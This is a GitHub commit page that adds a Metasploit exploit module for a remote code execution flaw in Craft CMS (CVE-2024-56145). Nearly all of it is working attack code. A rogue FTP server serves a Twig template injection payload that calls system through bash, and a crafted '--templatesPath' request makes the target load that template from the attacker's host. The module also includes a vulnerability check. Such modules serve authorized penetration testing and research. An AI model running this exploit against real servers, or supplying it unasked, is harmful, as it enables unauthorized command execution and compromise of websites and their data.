-
Notifications
You must be signed in to change notification settings - Fork 14.1k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
227143e
commit 9450765
Showing
2 changed files
with
236 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,230 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
include Msf::Exploit::Remote::FtpServer | ||
prepend Msf::Exploit::Remote::AutoCheck | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'Craft CMS Remote Code Execution (CVE-2024-56145)', | ||
'Description' => %q{ | ||
This module exploits a Remote Code Execution vulnerability in Craft CMS. | ||
The vulnerability can be triggered by directing the application to connect to an attacker controlled | ||
FTP Server, leading to the execution of arbitrary commands on the target. | ||
}, | ||
'Author' => [ | ||
'jheysel-r7', # msf Module | ||
'Assetnote' # Original discovery, use their advisory for CVE-2024-56145 | ||
], | ||
'License' => MSF_LICENSE, | ||
'References' => [ | ||
[ 'CVE', '2024-56145' ], | ||
[ 'URL', 'https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms' ] | ||
], | ||
'Payload' => { | ||
'Space' => 1000, | ||
'BadChars' => "\x00\x0a\x0d" | ||
}, | ||
'Arch' => ARCH_CMD, | ||
'Platform' => %w[unix linux], | ||
'Targets' => [ | ||
[ 'Craft CMS Universal', {} ] | ||
], | ||
'Privileged' => false, | ||
'DisclosureDate' => '2024-04-01', | ||
'Notes' => { | ||
'Stability' => [], | ||
'Reliability' => [], | ||
'SideEffects' => [] | ||
} | ||
) | ||
) | ||
end | ||
|
||
def get_payload | ||
"{{ ['system', 'bash -c \"#{payload.encoded}\"'] | sort('call_user_func') }}" | ||
end | ||
|
||
def on_client_connect(c) | ||
@state[c] = { | ||
:name => "#{c.peerhost}:#{c.peerport}", | ||
:ip => c.peerhost, | ||
:port => c.peerport, | ||
:user => nil, | ||
:pass => nil, | ||
:cwd => '/' | ||
#:cwd => '/home/msfuser/git/metasploit-framework/data/exploits/CVE-2024-56145/' | ||
} | ||
|
||
active_data_port_for_client(c, 2120) | ||
|
||
print_status("") | ||
print_status("-> 220 FTP Server Ready") | ||
c.put "220 FTP Server Ready\r\n" | ||
end | ||
|
||
def on_client_command_user(c, arg) | ||
vprint_status("on_client_command_user") | ||
if arg.downcase == 'anonymous' | ||
@state[c][:user] = 'anonymous' | ||
print_status("-> 331 Username ok, send password.") | ||
c.put "331 Username ok, send password.\r\n" | ||
else | ||
print_error("-> 530 Not logged in.\r\n") | ||
c.put "530 Not logged in.\r\n" | ||
end | ||
end | ||
|
||
def on_client_command_pass(c, arg) | ||
vprint_status("on_client_command_pass") | ||
if @state[c][:user] == 'anonymous' | ||
@state[c][:pass] = arg | ||
print_status("-> 230 Login successful.") | ||
c.put "230 Login successful.\r\n" | ||
else | ||
print_error("-> 530 Not logged in.") | ||
c.put "530 Not logged in.\r\n" | ||
end | ||
end | ||
|
||
def on_client_command_cwd(c, arg) | ||
vprint_status("on_client_command_cwd") | ||
if arg == '/default' | ||
@state[c][:cwd] = '/default' | ||
print_status("-> 250 \"#{@state[c][:cwd]}\" is current directory.") | ||
c.put "250 \"#{@state[c][:cwd]}\" is current directory.\r\n" | ||
else | ||
print_error("-> 550 Not a directory") | ||
c.put "550 Not a directory.\r\n" | ||
end | ||
end | ||
|
||
def on_client_command_type(c, arg) | ||
vprint_status("on_client_command_type") | ||
if arg == 'I' | ||
print_status("-> 200 Type set to: Binary.") | ||
c.put "200 Type set to: Binary.\r\n" | ||
else | ||
print_error("-> 500 Unknown type.") | ||
c.put "500 Unknown type.\r\n" | ||
end | ||
end | ||
|
||
def on_client_command_size(c, arg) | ||
vprint_status("on_client_command_size") | ||
if arg == '/default/index.twig' | ||
#size = get_payload.length | ||
print_status("-> 213 99") | ||
c.put "213 99\r\n" | ||
else | ||
print_error("-> 550 #{arg} is not retrievable.") | ||
c.put "550 #{arg} is not retrievable.\r\n" | ||
end | ||
end | ||
|
||
def on_client_command_mdtm(c, arg) | ||
vprint_status("on_client_command_mdtm") | ||
if arg == '/default/index.twig' | ||
time = Time.now.strftime("%Y%m%d%H%M%S") | ||
#time = "20241228215211" | ||
print_status("-> 213 #{time}") | ||
c.put "213 #{time}\r\n" | ||
else | ||
print_error("-> 550 #{arg} is not retrievable.") | ||
c.put "550 #{arg} is not retrievable.\r\n" | ||
end | ||
end | ||
|
||
def on_client_command_epsv(c, _arg) | ||
vprint_status("on_client_command_epsv") | ||
dport = rand(1024..65535) | ||
print_status("229 Entering extended passive mode (|||#{dport}|)") | ||
c.put "229 Entering extended passive mode (|||#{dport}|)\r\n" | ||
end | ||
|
||
def on_client_command_retr(c, _arg) | ||
print_status("on_client_command_retr") | ||
conn = establish_data_connection(c) | ||
unless conn | ||
print_error("425 can't build data connection") | ||
return c.put("425 can't build data connection\r\n") | ||
end | ||
|
||
print_status("150 Connection accepted") | ||
c.put("150 Connection accepted\r\n") | ||
|
||
conn.put(payload.encoded) | ||
conn.close | ||
end | ||
|
||
def on_client_command_quit(c, _arg) | ||
c.put "221 Goodbye.\r\n" | ||
end | ||
|
||
def on_client_command_unknown(c, cmd, arg) | ||
vprint_status("#{@state[c][:name]} UNKNOWN '#{cmd} #{arg}'") | ||
c.put "500 '#{cmd} #{arg}': command not understood.\r\n" | ||
end | ||
|
||
def on_client_unknown_command(connection, _cmd, _arg) | ||
connection.put("200 OK\r\n") | ||
end | ||
|
||
def check | ||
nonce = Rex::Text.rand_text_alphanumeric(8) | ||
res = send_request_cgi({ | ||
'uri' => normalize_uri(target_uri.path), | ||
'method' => 'GET', | ||
'vars_get' => { '--configPath' => "/#{nonce}" } | ||
}) | ||
|
||
if res && res.body.include?('mkdir()') && res.body.include?(nonce) | ||
return CheckCode::Vulnerable | ||
end | ||
|
||
CheckCode::Safe | ||
end | ||
|
||
def exploit | ||
if datastore['SSL'] == true | ||
reset_ssl = true | ||
datastore['SSL'] = false | ||
end | ||
setup | ||
start_service | ||
if reset_ssl | ||
datastore['SSL'] = true | ||
end | ||
trigger_http_request | ||
end | ||
|
||
def trigger_http_request | ||
templates_path = "ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}" | ||
begin | ||
# Send raw request because send_request_cgi encodes special characters in the templates_path vars_get parameter and breaks it | ||
res = send_request_raw({ | ||
'uri' => normalize_uri(target_uri.path) + '?--templatesPath=' + templates_path, | ||
'method' => 'GET', | ||
'headers' => { | ||
'User-Agent' => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Safari/605.1.15' | ||
} | ||
}) | ||
|
||
if res && res.code == 200 | ||
print_good('Payload triggered successfully. Check your listener for a session.') | ||
else | ||
print_error("Failed to trigger payload. HTTP Status: #{res.code}") | ||
end | ||
rescue StandardError => e | ||
print_error("Error sending HTTP request: #{e.message}") | ||
end | ||
end | ||
end |